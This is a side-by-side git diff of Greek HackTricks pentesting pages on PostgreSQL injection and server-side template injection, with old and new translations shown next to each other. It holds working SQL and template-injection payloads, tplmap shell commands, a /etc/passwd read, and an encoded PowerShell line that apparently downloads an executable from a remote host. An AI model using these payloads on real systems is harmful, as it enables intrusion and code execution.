Αν ενδιαφέρεστε για **καριέρα στον hacking** και να χακάρετε το μη χακάρισμα - **προσλαμβάνουμε!** (_απαιτείται άπταιστη γραφή και ομιλία στα πολωνικά_). Αν ενδιαφέρεστε για **καριέρα στον hacking** και να χακάρετε το μη χακάρισμα - **προσλαμβάνουμε!** (_απαιτείται άπταιστη γραπτή και προφορική πολωνική_).
{% embed url="https://www.stmcyber.com/careers" %} {% embed url="https://www.stmcyber.com/careers" %}

View file

@ -1,23 +1,23 @@
# PostgreSQL injection # PostgreSQL injection
{% hint style="success" %} {% hint style="success" %}
Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\ Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte) Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary>Υποστήριξη HackTricks</summary> <summary>Support HackTricks</summary>
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)! * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details> </details>
{% endhint %} {% endhint %}
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Αν ενδιαφέρεστε για **καριέρα hacking** και να χακάρετε το αχάκωτο - **προσλαμβάνουμε!** (_απαιτείται άπταιστη γραπτή και προφορική πολωνική_). If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_απαιτείται άριστη γνώση πολωνικών, γραπτών και προφορικών_).
{% embed url="https://www.stmcyber.com/careers" %} {% embed url="https://www.stmcyber.com/careers" %}
@ -25,32 +25,32 @@
**Αυτή η σελίδα στοχεύει να εξηγήσει διάφορα κόλπα που θα μπορούσαν να σας βοηθήσουν να εκμεταλλευτείτε μια SQL injection που βρέθηκε σε μια βάση δεδομένων postgresql και να συμπληρώσετε τα κόλπα που μπορείτε να βρείτε στο** [**https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md**](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md) **Αυτή η σελίδα στοχεύει να εξηγήσει διάφορα κόλπα που θα μπορούσαν να σας βοηθήσουν να εκμεταλλευτείτε μια SQL injection που βρέθηκε σε μια βάση δεδομένων postgresql και να συμπληρώσετε τα κόλπα που μπορείτε να βρείτε στο** [**https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md**](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md)
## Δικτυακή Αλληλεπίδραση - Κλιμάκωση Δικαιωμάτων, Σαρωτής Θυρών, Αποκάλυψη NTLM challenge response & Εξαγωγή ## Network Interaction - Privilege Escalation, Port Scanner, NTLM challenge response disclosure & Exfiltration
Ο **PostgreSQL module `dblink`** προσφέρει δυνατότητες σύνδεσης σε άλλες παρουσίες PostgreSQL και εκτέλεσης TCP συνδέσεων. Αυτές οι δυνατότητες, σε συνδυασμό με τη λειτουργία `COPY FROM`, επιτρέπουν ενέργειες όπως κλιμάκωση δικαιωμάτων, σάρωση θυρών και σύλληψη NTLM challenge response. Για λεπτομερείς μεθόδους εκτέλεσης αυτών των επιθέσεων ελέγξτε πώς να [εκτελέσετε αυτές τις επιθέσεις](network-privesc-port-scanner-and-ntlm-chanllenge-response-disclosure.md). Το **PostgreSQL module `dblink`** προσφέρει δυνατότητες για σύνδεση σε άλλες παρουσίες PostgreSQL και εκτέλεση TCP συνδέσεων. Αυτές οι δυνατότητες, σε συνδυασμό με τη λειτουργία `COPY FROM`, επιτρέπουν ενέργειες όπως η κλιμάκωση προνομίων, η σάρωση θυρών και η σύλληψη απαντήσεων προκλήσεων NTLM. Για λεπτομερείς μεθόδους εκτέλεσης αυτών των επιθέσεων, ελέγξτε πώς να [εκτελέσετε αυτές τις επιθέσεις](network-privesc-port-scanner-and-ntlm-chanllenge-response-disclosure.md).
### **Παράδειγμα εξαγωγής χρησιμοποιώντας dblink και μεγάλα αντικείμενα** ### **Παράδειγμα εξαγωγής χρησιμοποιώντας dblink και μεγάλα αντικείμενα**
Μπορείτε να [**διαβάσετε αυτό το παράδειγμα**](dblink-lo_import-data-exfiltration.md) για να δείτε ένα παράδειγμα CTF του **πώς να φορτώσετε δεδομένα μέσα σε μεγάλα αντικείμενα και στη συνέχεια να εξαγάγετε το περιεχόμενο των μεγάλων αντικειμένων μέσα στο όνομα χρήστη** της συνάρτησης `dblink_connect`. Μπορείτε να [**διαβάσετε αυτό το παράδειγμα**](dblink-lo\_import-data-exfiltration.md) για να δείτε ένα παράδειγμα CTF του **πώς να φορτώσετε δεδομένα μέσα σε μεγάλα αντικείμενα και στη συνέχεια να εξάγετε το περιεχόμενο των μεγάλων αντικειμένων μέσα στο όνομα χρήστη** της συνάρτησης `dblink_connect`.
## Επιθέσεις PostgreSQL: Ανάγνωση/γραφή, RCE, privesc ## PostgreSQL Attacks: Read/write, RCE, privesc
Ελέγξτε πώς να συμβιβάσετε τον host και να κλιμακώσετε δικαιώματα από PostgreSQL στο: Ελέγξτε πώς να συμβιβάσετε τον host και να κλιμακώσετε προνόμια από το PostgreSQL στο:
{% content-ref url="../../../network-services-pentesting/pentesting-postgresql.md" %} {% content-ref url="../../../network-services-pentesting/pentesting-postgresql.md" %}
[pentesting-postgresql.md](../../../network-services-pentesting/pentesting-postgresql.md) [pentesting-postgresql.md](../../../network-services-pentesting/pentesting-postgresql.md)
{% endcontent-ref %} {% endcontent-ref %}
## Παράκαμψη WAF ## WAF bypass
### Λειτουργίες συμβολοσειρών PostgreSQL ### PostgreSQL String functions
Η χειραγώγηση συμβολοσειρών θα μπορούσε να σας βοηθήσει να **παράκαμψετε WAFs ή άλλους περιορισμούς**.\ Η χειραγώγηση συμβολοσειρών θα μπορούσε να σας βοηθήσει να **παρακάμψετε WAFs ή άλλους περιορισμούς**.\
[**Σε αυτή τη σελίδα** ](https://www.postgresqltutorial.com/postgresql-string-functions/)**μπορείτε να βρείτε μερικές χρήσιμες λειτουργίες συμβολοσειρών.** [**Σε αυτή τη σελίδα** ](https://www.postgresqltutorial.com/postgresql-string-functions/)**μπορείτε να βρείτε μερικές χρήσιμες συναρτήσεις συμβολοσειρών.**
### Στοιβαγμένα Ερωτήματα ### Stacked Queries
Θυμηθείτε ότι το postgresql υποστηρίζει στοιβαγμένα ερωτήματα, αλλά πολλές εφαρμογές θα ρίξουν ένα σφάλμα αν επιστραφούν 2 απαντήσεις όταν αναμένονται μόνο 1. Αλλά, μπορείτε ακόμα να εκμεταλλευτείτε τα στοιβαγμένα ερωτήματα μέσω Time injection: Θυμηθείτε ότι το postgresql υποστηρίζει στοίβες ερωτημάτων, αλλά πολλές εφαρμογές θα ρίξουν ένα σφάλμα αν επιστραφούν 2 απαντήσεις όταν αναμένονται μόνο 1. Αλλά, μπορείτε ακόμα να εκμεταλλευτείτε τις στοίβες ερωτημάτων μέσω Time injection:
``` ```
id=1; select pg_sleep(10);-- - id=1; select pg_sleep(10);-- -
1; SELECT case when (SELECT current_setting('is_superuser'))='on' then pg_sleep(10) end;-- - 1; SELECT case when (SELECT current_setting('is_superuser'))='on' then pg_sleep(10) end;-- -
@ -87,7 +87,7 @@ select encode('select cast(string_agg(table_name, '','') as int) from informatio
### Απαγορευμένα αποσπάσματα ### Απαγορευμένα αποσπάσματα
Αν δεν μπορείτε να χρησιμοποιήσετε αποσπάσματα για το payload σας, μπορείτε να το παρακάμψετε με το `CHR` για βασικές ρήτρες (_η σύνθεση χαρακτήρων λειτουργεί μόνο για βασικά ερωτήματα όπως SELECT, INSERT, DELETE, κ.λπ. Δεν λειτουργεί για όλες τις δηλώσεις SQL_): Εάν δεν μπορείτε να χρησιμοποιήσετε αποσπάσματα για το payload σας, μπορείτε να το παρακάμψετε με το `CHR` για βασικές ρήτρες (_η σύνθεση χαρακτήρων λειτουργεί μόνο για βασικά ερωτήματα όπως SELECT, INSERT, DELETE, κ.λπ. Δεν λειτουργεί για όλες τις δηλώσεις SQL_):
``` ```
SELECT CHR(65) || CHR(87) || CHR(65) || CHR(69); SELECT CHR(65) || CHR(87) || CHR(65) || CHR(69);
``` ```
@ -97,9 +97,9 @@ SELECT 'hacktricks';
SELECT $$hacktricks$$; SELECT $$hacktricks$$;
SELECT $TAG$hacktricks$TAG$; SELECT $TAG$hacktricks$TAG$;
``` ```
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Αν ενδιαφέρεστε για **καριέρα στον hacking** και να χακάρετε το μη χακάρισμα - **προσλαμβάνουμε!** (_απαιτείται άριστη γνώση πολωνικών, γραπτά και προφορικά_). Αν ενδιαφέρεστε για **καριέρα στον hacking** και να χακάρετε το μη χακάρισμα - **προσλαμβάνουμε!** (_απαιτείται άπταιστη γραφή και ομιλία στα πολωνικά_).
{% embed url="https://www.stmcyber.com/careers" %} {% embed url="https://www.stmcyber.com/careers" %}
@ -112,7 +112,7 @@ SELECT $TAG$hacktricks$TAG$;
<summary>Υποστήριξη HackTricks</summary> <summary>Υποστήριξη HackTricks</summary>
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)! * Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Εγγραφείτε στο** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) ή στο [**telegram group**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. * **Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details> </details>

View file

@ -10,24 +10,24 @@
<summary>Support HackTricks</summary> <summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! * Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Εγγραφείτε στο** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) ή στο [**telegram group**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. * **Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details> </details>
{% endhint %} {% endhint %}
<figure><img src="../../.gitbook/assets/image (641).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (641).png" alt=""><figcaption></figcaption></figure>
[**RootedCON**](https://www.rootedcon.com) είναι η πιο σχετική εκδήλωση κυβερνοασφάλειας στην **Ισπανία** και μία από τις πιο σημαντικές στην **Ευρώπη**. Με **αποστολή την προώθηση της τεχνικής γνώσης**, αυτό το συνέδριο είναι ένα καυτό σημείο συνάντησης για επαγγελματίες της τεχνολογίας και της κυβερνοασφάλειας σε κάθε πειθαρχία. [**RootedCON**](https://www.rootedcon.com) είναι το πιο σχετικό γεγονός κυβερνοασφάλειας στην **Ισπανία** και ένα από τα πιο σημαντικά στην **Ευρώπη**. Με **αποστολή την προώθηση της τεχνικής γνώσης**, αυτό το συνέδριο είναι ένα καυτό σημείο συνάντησης για επαγγελματίες της τεχνολογίας και της κυβερνοασφάλειας σε κάθε πειθαρχία.
{% embed url="https://www.rootedcon.com/" %} {% embed url="https://www.rootedcon.com/" %}
## What is SSTI (Server-Side Template Injection) ## What is SSTI (Server-Side Template Injection)
Η ένεση προτύπου πλευράς διακομιστή είναι μια ευπάθεια που συμβαίνει όταν ένας επιτιθέμενος μπορεί να εισάγει κακόβουλο κώδικα σε ένα πρότυπο που εκτελείται στον διακομιστή. Αυτή η ευπάθεια μπορεί να βρεθεί σε διάφορες τεχνολογίες, συμπεριλαμβανομένου του Jinja. Η έγχυση προτύπων πλευράς διακομιστή είναι μια ευπάθεια που συμβαίνει όταν ένας επιτιθέμενος μπορεί να εισάγει κακόβουλο κώδικα σε ένα πρότυπο που εκτελείται στον διακομιστή. Αυτή η ευπάθεια μπορεί να βρεθεί σε διάφορες τεχνολογίες, συμπεριλαμβανομένου του Jinja.
Το Jinja είναι μια δημοφιλής μηχανή προτύπων που χρησιμοποιείται σε διαδικτυακές εφαρμογές. Ας εξετάσουμε ένα παράδειγμα που δείχνει ένα ευάλωτο απόσπασμα κώδικα χρησιμοποιώντας το Jinja: Το Jinja είναι μια δημοφιλής μηχανή προτύπων που χρησιμοποιείται σε διαδικτυακές εφαρμογές. Ας εξετάσουμε ένα παράδειγμα που δείχνει ένα ευάλωτο κομμάτι κώδικα χρησιμοποιώντας το Jinja:
```python ```python
output = template.render(name=request.args.get('name')) output = template.render(name=request.args.get('name'))
``` ```
@ -47,12 +47,12 @@ http://vulnerable-website.com/?name={{bad-stuff-here}}
* Ρίψεις σφαλμάτων, που αποκαλύπτουν την ευπάθεια και ενδεχομένως τη μηχανή template. * Ρίψεις σφαλμάτων, που αποκαλύπτουν την ευπάθεια και ενδεχομένως τη μηχανή template.
* Απουσία του payload στην αντανάκλαση, ή μέρη του να λείπουν, υποδηλώνοντας ότι ο διακομιστής το επεξεργάζεται διαφορετικά από τα κανονικά δεδομένα. * Απουσία του payload στην αντανάκλαση, ή μέρη του να λείπουν, υποδηλώνοντας ότι ο διακομιστής το επεξεργάζεται διαφορετικά από τα κανονικά δεδομένα.
* **Πλαίσιο Κειμένου**: Διακρίνετε από το XSS ελέγχοντας αν ο διακομιστής αξιολογεί τις εκφράσεις template (π.χ., `{{7*7}}`, `${7*7}`). * **Plaintext Context**: Διακρίνετε από το XSS ελέγχοντας αν ο διακομιστής αξιολογεί τις εκφράσεις template (π.χ., `{{7*7}}`, `${7*7}`).
* **Πλαίσιο Κώδικα**: Επιβεβαιώστε την ευπάθεια αλλάζοντας τις παραμέτρους εισόδου. Για παράδειγμα, αλλάζοντας το `greeting` στο `http://vulnerable-website.com/?greeting=data.username` για να δείτε αν η έξοδος του διακομιστή είναι δυναμική ή στατική, όπως στο `greeting=data.username}}hello` που επιστρέφει το όνομα χρήστη. * **Code Context**: Επιβεβαιώστε την ευπάθεια αλλάζοντας τις παραμέτρους εισόδου. Για παράδειγμα, αλλάζοντας το `greeting` στο `http://vulnerable-website.com/?greeting=data.username` για να δείτε αν η έξοδος του διακομιστή είναι δυναμική ή στατική, όπως στο `greeting=data.username}}hello` που επιστρέφει το όνομα χρήστη.
#### Φάση Αναγνώρισης #### Φάση Αναγνώρισης
Η αναγνώριση της μηχανής template περιλαμβάνει την ανάλυση μηνυμάτων σφάλματος ή τη χειροκίνητη δοκιμή διαφόρων payloads που είναι συγκεκριμένα για γλώσσες. Κοινά payloads που προκαλούν σφάλματα περιλαμβάνουν `${7/0}`, `{{7/0}}`, και `<%= 7/0 %>`. Η παρατήρηση της απόκρισης του διακομιστή σε μαθηματικές λειτουργίες βοηθά στην ακριβή προσδιορισμό της συγκεκριμένης μηχανής template. Η αναγνώριση της μηχανής template περιλαμβάνει την ανάλυση μηνυμάτων σφάλματος ή τη χειροκίνητη δοκιμή διαφόρων payloads που είναι συγκεκριμένα για γλώσσες. Κοινά payloads που προκαλούν σφάλματα περιλαμβάνουν `${7/0}`, `{{7/0}}`, και `<%= 7/0 %>`. Η παρατήρηση της απόκρισης του διακομιστή σε μαθηματικές λειτουργίες βοηθά στην προσδιορισμό της συγκεκριμένης μηχανής template.
#### Αναγνώριση μέσω payloads #### Αναγνώριση μέσω payloads
@ -81,13 +81,13 @@ python2.7 ./tplmap.py -u 'http://www.target.com/page?name=John*' --os-shell
python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=*&comment=supercomment&link" python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=*&comment=supercomment&link"
python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=InjectHere*&comment=A&link" --level 5 -e jade python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=InjectHere*&comment=A&link" --level 5 -e jade
``` ```
### [Table Εισαγωγής Προτύπων](https://github.com/Hackmanit/template-injection-table) ### [Template Injection Table](https://github.com/Hackmanit/template-injection-table)
ένας διαδραστικός πίνακας που περιέχει τους πιο αποτελεσματικούς πολυγλωσσικούς εισβολείς προτύπων μαζί με τις αναμενόμενες απαντήσεις των 44 πιο σημαντικών μηχανών προτύπων. ένας διαδραστικός πίνακας που περιέχει τους πιο αποτελεσματικούς πολυγλωσσικούς επιθέτες template injection μαζί με τις αναμενόμενες απαντήσεις των 44 πιο σημαντικών μηχανών template.
## Εκμεταλλεύσεις ## Exploits
### Γενικά ### Generic
Σε αυτή τη **λίστα λέξεων** μπορείτε να βρείτε **μεταβλητές που ορίζονται** στα περιβάλλοντα ορισμένων από τις μηχανές που αναφέρονται παρακάτω: Σε αυτή τη **λίστα λέξεων** μπορείτε να βρείτε **μεταβλητές που ορίζονται** στα περιβάλλοντα ορισμένων από τις μηχανές που αναφέρονται παρακάτω:
@ -96,7 +96,7 @@ python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=InjectHere*&comment
### Java ### Java
**Java - Βασική εισαγωγή** **Java - Βασική ένεση**
```java ```java
${7*7} ${7*7}
${{7*7}} ${{7*7}}
@ -397,7 +397,7 @@ Payload: {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstanc
* **JavaServer Pages (JSP)**: Η EL χρησιμοποιείται σε JSP για την πρόσβαση και την επεξεργασία δεδομένων εντός των σελίδων JSP, διευκολύνοντας τη σύνδεση των στοιχείων της σελίδας με τα δεδομένα της εφαρμογής. * **JavaServer Pages (JSP)**: Η EL χρησιμοποιείται σε JSP για την πρόσβαση και την επεξεργασία δεδομένων εντός των σελίδων JSP, διευκολύνοντας τη σύνδεση των στοιχείων της σελίδας με τα δεδομένα της εφαρμογής.
* **Contexts and Dependency Injection for Java EE (CDI)**: Η EL ενσωματώνεται με το CDI για να επιτρέπει την απρόσκοπτη αλληλεπίδραση μεταξύ της διαδικτυακής διάταξης και των managed beans, εξασφαλίζοντας μια πιο συνεκτική δομή εφαρμογής. * **Contexts and Dependency Injection for Java EE (CDI)**: Η EL ενσωματώνεται με το CDI για να επιτρέπει την απρόσκοπτη αλληλεπίδραση μεταξύ της διαδικτυακής διάταξης και των managed beans, εξασφαλίζοντας μια πιο συνεκτική δομή εφαρμογής.
Δείτε την παρακάτω σελίδα για να μάθετε περισσότερα σχετικά με την **εκμετάλλευση των EL interpreters**: Ελέγξτε την παρακάτω σελίδα για να μάθετε περισσότερα σχετικά με την **εκμετάλλευση των ερμηνευτών EL**:
{% content-ref url="el-expression-language.md" %} {% content-ref url="el-expression-language.md" %}
[el-expression-language.md](el-expression-language.md) [el-expression-language.md](el-expression-language.md)
@ -438,7 +438,7 @@ this.evaluate(new String(new byte[]{64, 103, 114, 111, 111, 118, 121, 46, 116, 1
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&#x26;token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure> <figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&#x26;token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
[**RootedCON**](https://www.rootedcon.com/) είναι η πιο σχετική εκδήλωση κυβερνοασφάλειας στην **Ισπανία** και μία από τις πιο σημαντικές στην **Ευρώπη**. Με **αποστολή την προώθηση της τεχνικής γνώσης**, αυτό το συνέδριο είναι ένα βραστό σημείο συνάντησης για επαγγελματίες της τεχνολογίας και της κυβερνοασφάλειας σε κάθε πειθαρχία. [**RootedCON**](https://www.rootedcon.com/) είναι η πιο σχετική εκδήλωση κυβερνοασφάλειας στην **Ισπανία** και μία από τις πιο σημαντικές στην **Ευρώπη**. Με **αποστολή την προώθηση της τεχνικής γνώσης**, αυτό το συνέδριο είναι ένα καυτό σημείο συνάντησης για επαγγελματίες της τεχνολογίας και της κυβερνοασφάλειας σε κάθε πειθαρχία.
{% embed url="https://www.rootedcon.com/" %} {% embed url="https://www.rootedcon.com/" %}
@ -516,7 +516,7 @@ $templates = new League\Plates\Engine('/path/to/templates');
// Render a template // Render a template
echo $templates->render('profile', ['name' => 'Jonathan']); echo $templates->render('profile', ['name' => 'Jonathan']);
``` ```
Σελίδα πρότυπου: Σελίδα πρότυπο:
```php ```php
<?php $this->layout('template', ['title' => 'User Profile']) ?> <?php $this->layout('template', ['title' => 'User Profile']) ?>
@ -540,7 +540,7 @@ echo $templates->render('profile', ['name' => 'Jonathan']);
### PHPlib και HTML\_Template\_PHPLIB (PHP) ### PHPlib και HTML\_Template\_PHPLIB (PHP)
[HTML\_Template\_PHPLIB](https://github.com/pear/HTML\_Template\_PHPLIB) είναι το ίδιο με το PHPlib αλλά έχει μεταφερθεί στο Pear. [HTML\_Template\_PHPLIB](https://github.com/pear/HTML\_Template\_PHPLIB) είναι το ίδιο με το PHPlib αλλά μεταφερμένο στο Pear.
`authors.tpl` `authors.tpl`
```html ```html
@ -688,11 +688,11 @@ URLencoded:
* \= 49 * \= 49
**Πλευρά Πελάτη** **Client Side**
```python ```python
{{:%22test%22.toString.constructor.call({},%22alert(%27xss%27)%22)()}} {{:%22test%22.toString.constructor.call({},%22alert(%27xss%27)%22)()}}
``` ```
**Εξυπηρετητής Πλευράς** **Εξυπηρετητής**
```bash ```bash
{{:"pwnd".toString.constructor.call({},"return global.process.mainModule.constructor._load('child_process').execSync('cat /etc/passwd').toString()")()}} {{:"pwnd".toString.constructor.call({},"return global.process.mainModule.constructor._load('child_process').execSync('cat /etc/passwd').toString()")()}}
``` ```
@ -731,9 +731,9 @@ home = pugjs.render(injected_page)
### Άλλο NodeJS ### Άλλο NodeJS
<figure><img src="../../.gitbook/assets/image.png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:640/format:webp/1*J4gQBzN8Gbj0CkgSLLhigQ.jpeg">https://miro.medium.com/v2/resize:fit:640/format:webp/1*J4gQBzN8Gbj0CkgSLLhigQ.jpeg</a></p></figcaption></figure> <figure><img src="../../.gitbook/assets/image (1).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:640/format:webp/1*J4gQBzN8Gbj0CkgSLLhigQ.jpeg">https://miro.medium.com/v2/resize:fit:640/format:webp/1*J4gQBzN8Gbj0CkgSLLhigQ.jpeg</a></p></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:640/format:webp/1*jj_-oBi3gZ6UNTvkBogA6Q.jpeg">https://miro.medium.com/v2/resize:fit:640/format:webp/1*jj_-oBi3gZ6UNTvkBogA6Q.jpeg</a></p></figcaption></figure> <figure><img src="../../.gitbook/assets/image (1) (1).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:640/format:webp/1*jj_-oBi3gZ6UNTvkBogA6Q.jpeg">https://miro.medium.com/v2/resize:fit:640/format:webp/1*jj_-oBi3gZ6UNTvkBogA6Q.jpeg</a></p></figcaption></figure>
* Περισσότερες πληροφορίες στο [https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756](https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756) * Περισσότερες πληροφορίες στο [https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756](https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756)
@ -814,11 +814,11 @@ home = pugjs.render(injected_page)
[Επίσημη ιστοσελίδα](http://jinja.pocoo.org) [Επίσημη ιστοσελίδα](http://jinja.pocoo.org)
> Το Jinja2 είναι μια πλήρης μηχανή προτύπων για Python. Έχει πλήρη υποστήριξη unicode, μια προαιρετική ενσωματωμένη εκτελούμενη sandboxed περιβάλλον, είναι ευρέως χρησιμοποιούμενη και άδεια BSD. > Jinja2 είναι μια πλήρης μηχανή προτύπων για Python. Έχει πλήρη υποστήριξη unicode, μια προαιρετική ενσωματωμένη εκτελεστική περιβάλλον sandbox, είναι ευρέως χρησιμοποιούμενη και έχει άδεια BSD.
* `{{7*7}} = Error` * `{{7*7}} = Σφάλμα`
* `${7*7} = ${7*7}` * `${7*7} = ${7*7}`
* `{{foobar}} Nothing` * `{{foobar}} Τίποτα`
* `{{4*4}}[[5*5]]` * `{{4*4}}[[5*5]]`
* `{{7*'7'}} = 7777777` * `{{7*'7'}} = 7777777`
* `{{config}}` * `{{config}}`
@ -907,7 +907,7 @@ ${x}
* `@System.Diagnostics.Process.Start("cmd.exe","/c echo RCE > C:/Windows/Tasks/test.txt");` * `@System.Diagnostics.Process.Start("cmd.exe","/c echo RCE > C:/Windows/Tasks/test.txt");`
* `@System.Diagnostics.Process.Start("cmd.exe","/c powershell.exe -enc IABpAHcAcgAgAC0AdQByAGkAIABoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAyAC4AMQAxADEALwB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlACAALQBPAHUAdABGAGkAbABlACAAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAYQBzAGsAcwBcAHQAZQBzAHQAbQBlAHQANgA0AC4AZQB4AGUAOwAgAEMAOgBcAFcAaQBuAGQAbwB3AHMAXABUAGEAcwBrAHMAXAB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlAA==");` * `@System.Diagnostics.Process.Start("cmd.exe","/c powershell.exe -enc IABpAHcAcgAgAC0AdQByAGkAIABoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAyAC4AMQAxADEALwB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlACAALQBPAHUAdABGAGkAbABlACAAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAYQBzAGsAcwBcAHQAZQBzAHQAbQBlAHQANgA0AC4AZQB4AGUAOwAgAEMAOgBcAFcAaQBuAGQAbwB3AHMAXABUAGEAcwBrAHMAXAB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlAA==");`
